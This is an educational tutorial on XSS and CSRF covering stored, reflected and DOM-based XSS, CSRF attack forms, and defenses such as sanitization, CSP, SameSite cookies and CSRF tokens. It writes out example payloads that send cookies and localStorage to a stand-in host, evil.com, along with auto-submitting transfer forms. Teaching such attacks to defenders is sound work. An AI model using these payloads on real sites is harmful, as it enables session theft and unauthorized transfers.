XSS & CSRF Basics

The browser is a hostile environment:

  1. USER INPUT IS EVERYWHERE
     Forms, URLs, query params, headers, file uploads.
     Any input that reaches the DOM without sanitization
     is a potential XSS vector.

  2. JAVASCRIPT HAS FULL ACCESS
     A script running on your page can:
     • Read document.cookie (steal session tokens)
     • Read localStorage (steal JWTs)
     • Make fetch() requests as the user
     • Modify the DOM (fake login forms)
     • Capture keystrokes (steal passwords)

  3. COOKIES ARE SENT AUTOMATICALLY
     The browser attaches cookies to EVERY request to
     a domain — even requests triggered by other sites.
     This is what makes CSRF possible.

  4. THIRD-PARTY CODE
     Analytics, ads, chat widgets, CDN scripts —
     any compromised dependency can attack your users.

  Attack surface:
  ┌─────────────────────────────────────────────┐
  │  User Input → [Your App] → DOM              │
  │       ↑           ↑           ↑             │
  │      XSS         XSS        XSS             │
  │                                             │
  │  Other Site → [Browser] → Your API          │
  │       ↑           ↑           ↑             │
  │     CSRF       Cookies     CSRF             │
  └─────────────────────────────────────────────┘

Normal flow:
  User types "Alice" → App displays "Hello, Alice"

XSS attack:
  Attacker types: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
  App displays: Hello, <script>...</script>
  Browser executes the script → cookies sent to attacker

  The app treated the input as HTML instead of text.
  The browser can't tell the difference between the app's
  legitimate scripts and the attacker's injected script.

  Result: attacker has the user's session cookie and
  can impersonate them on the site.

// ❌ VULNERABLE: Inserting user input as HTML
function Comment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// If text = "<img src=x onerror='fetch("https://evil.com/steal?c="+document.cookie)'>"
// The browser loads the broken image, triggers onerror,
// and executes the attacker's JavaScript.

// ❌ VULNERABLE: Vanilla JS with innerHTML
document.getElementById("output").innerHTML = userInput;

// ✅ SAFE: React auto-escapes by default
function Comment({ text }) {
  return <div>{text}</div>;
  // React escapes the text: <script> becomes &lt;script&gt;
  // The browser displays it as text, not as HTML.
}

// ✅ SAFE: Vanilla JS with textContent
document.getElementById("output").textContent = userInput;

── Stored XSS ─────────────────────────────────────
  Attacker submits a forum post:
    "Great article! <script>fetch('https://evil.com/steal?c='+document.cookie)</script>"

  Server saves it to the database.
  Every user who views the post executes the script.
  → Most dangerous: affects ALL users, persists forever.

── Reflected XSS ──────────────────────────────────
  Attacker crafts a URL:
    https://shop.com/search?q=<script>alert('XSS')</script>

  Server renders: "Results for: <script>alert('XSS')</script>"
  Victim clicks the link → script executes in their browser.
  → Requires social engineering (phishing email with the link).

── DOM-based XSS ──────────────────────────────────
  Page has JavaScript:
    document.getElementById("greeting").innerHTML =
      "Hello, " + new URLSearchParams(location.search).get("name");

  Attacker crafts: https://app.com?name=<img src=x onerror=alert('XSS')>
  Client-side JS inserts it into the DOM → script executes.
  → Server never sees the payload — it's entirely client-side.

1. Attacker posts a comment on a forum:
   "Nice post! <script>
     fetch('https://evil.com/collect', {
       method: 'POST',
       body: JSON.stringify({
         cookies: document.cookie,
         localStorage: JSON.stringify(localStorage),
         url: window.location.href
       })
     });
   </script>"

2. Server saves the comment to the database (no sanitization).

3. Victim visits the forum page. Browser renders:
   <div class="comment">
     Nice post! <script>fetch('https://evil.com/collect', ...)</script>
   </div>

4. Browser executes the script. Attacker receives:
   {
     cookies: "session_id=abc123; csrf_token=xyz789",
     localStorage: '{"jwt":"eyJhbGciOiJIUzI1NiJ9..."}',
     url: "https://forum.com/post/42"
   }

5. Attacker uses the stolen session/JWT to:
   • Log in as the victim
   • Access their account, data, and actions
   • The victim never knows it happened

Once malicious JavaScript executes in the victim's browser:

  READ:
    ✗ document.cookie        → steal session tokens
    ✗ localStorage            → steal JWTs, user data
    ✗ sessionStorage          → steal tab-scoped tokens
    ✗ DOM content             → read private page data

  WRITE:
    ✗ Modify the DOM          → fake login forms, fake content
    ✗ Redirect the page       → send user to phishing site
    ✗ Add event listeners     → capture keystrokes, clicks

  SEND:
    ✗ fetch() / XMLHttpRequest → make API calls as the user
    ✗ new Image().src          → exfiltrate data via image request
    ✗ WebSocket                → establish persistent connection

  The script runs with the SAME privileges as the app's own code.
  The browser cannot tell the difference.

// ✅ React auto-escaping (safe by default)
function Comment({ text }) {
  return <p>{text}</p>;
  // "<script>alert('xss')</script>" renders as visible text
}

// ❌ Bypassing React's protection
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
  // ONLY use with sanitized content!
}

// ✅ Sanitize when HTML is needed
import DOMPurify from "dompurify";

function RichContent({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["p", "strong", "em", "a", "ul", "li"],
    ALLOWED_ATTR: ["href"],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Content Security Policy header
// Set by the server (or meta tag):
// Content-Security-Policy: default-src 'self';
//   script-src 'self' https://cdn.example.com;
//   style-src 'self' 'unsafe-inline';
//   img-src *;
//
// This blocks:
//   • Inline <script> tags (XSS payloads)
//   • eval() and new Function()
//   • Scripts from unauthorized domains
//   • Even if XSS injection succeeds, CSP prevents execution

Normal flow:
  User is logged into bank.com (session cookie is set)
  User clicks "Transfer $100 to Bob" on bank.com
  Browser sends: POST /transfer { to: "Bob", amount: 100 }
  + Cookie: session_id=abc123 (sent automatically)
  Bank processes the transfer.

CSRF attack:
  User is logged into bank.com (session cookie is set)
  User visits evil.com (attacker's site)
  evil.com contains a hidden form:
    <form action="https://bank.com/transfer" method="POST">
      <input name="to" value="attacker" />
      <input name="amount" value="10000" />
    </form>
    <script>document.forms[0].submit()</script>

  Browser sends: POST /transfer { to: "attacker", amount: 10000 }
  + Cookie: session_id=abc123 (sent automatically!)
  Bank sees a valid session cookie → processes the transfer.

  The user never intended this. The attacker never saw the cookie.
  The browser just... sent it. Because that's what browsers do.

── Hidden Form (POST request) ─────────────────────
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker" />
    <input type="hidden" name="amount" value="10000" />
  </form>
  <script>document.forms[0].submit();</script>

── Image Tag (GET request) ────────────────────────
  <img src="https://bank.com/transfer?to=attacker&amount=10000" />
  (Only works if the server accepts GET for state-changing actions
   — which is a separate vulnerability)

── Fetch with credentials (limited by CORS) ───────
  fetch("https://bank.com/transfer", {
    method: "POST",
    credentials: "include",  // sends cookies
    body: JSON.stringify({ to: "attacker", amount: 10000 }),
  });
  // CORS blocks this unless bank.com explicitly allows evil.com
  // But form submissions bypass CORS — that's the main vector

── Auto-submitting link ───────────────────────────
  <a href="https://bank.com/delete-account">Click for free prize!</a>
  (Only works for GET-based state changes — bad API design)

── SameSite Cookie (simplest, most effective) ─────

  Set-Cookie: session_id=abc123;
    HttpOnly;
    Secure;
    SameSite=Strict;    ← cookie NOT sent on cross-site requests

  evil.com submits form to bank.com → browser does NOT include
  the session cookie → request is unauthenticated → rejected.

  SameSite=Lax: cookie sent on top-level navigations (clicking
  a link to bank.com) but NOT on form submissions or fetch.
  Good balance of security and usability.

── CSRF Token Pattern ─────────────────────────────

  1. Server generates a random token per session:
     csrfToken = "x7k9m2p4..."

  2. Token is embedded in the page (meta tag or cookie):
     <meta name="csrf-token" content="x7k9m2p4..." />

  3. Client sends token with every state-changing request:
     fetch("/api/transfer", {
       method: "POST",
       headers: { "X-CSRF-Token": csrfToken },
       body: JSON.stringify({ to: "Bob", amount: 100 }),
     });

  4. Server validates: does the token in the header match
     the token in the session? If not → reject.

  Why it works: evil.com can submit a form to bank.com,
  but it CANNOT read bank.com's page to get the CSRF token,
  and it CANNOT set custom headers on cross-origin requests.

── Origin Header Check ────────────────────────────

  Server checks: request.headers.origin === "https://bank.com"
  If origin is "https://evil.com" → reject.
  Simple but not sufficient alone (Origin can be absent).

XSS:  Attacker's code runs ON your site
      → The script IS on bank.com (injected)
      → It can read cookies, localStorage, DOM
      → It can do anything the user can do
      → Defense: prevent script injection (sanitize, CSP)

CSRF: Attacker's code runs on THEIR site
      → The request comes FROM evil.com TO bank.com
      → The attacker never sees the cookie
      → They can only trigger pre-defined actions (form submit)
      → Defense: verify request origin (SameSite, CSRF token)

Think of it this way:
  XSS  = someone breaks INTO your house and steals your keys
  CSRF = someone tricks you into unlocking your door from outside

── XSS Attack: Stealing the Session ───────────────

  The banking app has a "notes" feature where users can
  save personal notes. The notes are rendered with innerHTML.

  1. Attacker creates an account and saves a "note":
     <img src=x onerror="
       new Image().src='https://evil.com/steal?c='+document.cookie
     ">

  2. A bank employee views the attacker's account (support tool).
     The note renders → onerror fires → cookie is sent to evil.com.

  3. Attacker now has the employee's admin session cookie.
     They log in as the admin and access all customer accounts.

  DEFENSE:
  ✅ Sanitize notes with DOMPurify before rendering
  ✅ Use textContent instead of innerHTML
  ✅ Set CSP header to block inline scripts
  ✅ Store admin session in HttpOnly cookie (can't be read by JS)

── CSRF Attack: Unauthorized Transfer ─────────────

  1. User is logged into bank.com (session cookie is set).

  2. User receives a phishing email: "View your statement"
     Link goes to evil.com/statement.html

  3. evil.com contains:
     <form action="https://bank.com/api/transfer" method="POST">
       <input name="to" value="attacker-account" />
       <input name="amount" value="5000" />
     </form>
     <script>document.forms[0].submit();</script>

  4. Browser sends the form to bank.com WITH the session cookie.
     Bank processes the $5,000 transfer to the attacker.

  DEFENSE:
  ✅ Set SameSite=Strict on session cookie
     → Browser won't send cookie from evil.com's form
  ✅ Require CSRF token in X-CSRF-Token header
     → Form submission can't set custom headers
  ✅ Check Origin header on the server
     → Reject requests from non-bank.com origins

Essential HTTP headers for frontend security:

Content-Security-Policy: default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https:;
  connect-src 'self' https://api.example.com;
  → Blocks inline scripts, eval(), unauthorized script sources

X-Content-Type-Options: nosniff
  → Prevents browser from MIME-sniffing (treating text as script)

X-Frame-Options: DENY
  → Prevents your site from being embedded in iframes (clickjacking)

Strict-Transport-Security: max-age=31536000; includeSubDomains
  → Forces HTTPS for all future requests (HSTS)

Referrer-Policy: strict-origin-when-cross-origin
  → Controls how much URL info is sent in Referer header

Permissions-Policy: camera=(), microphone=(), geolocation=()
  → Disables browser APIs you don't need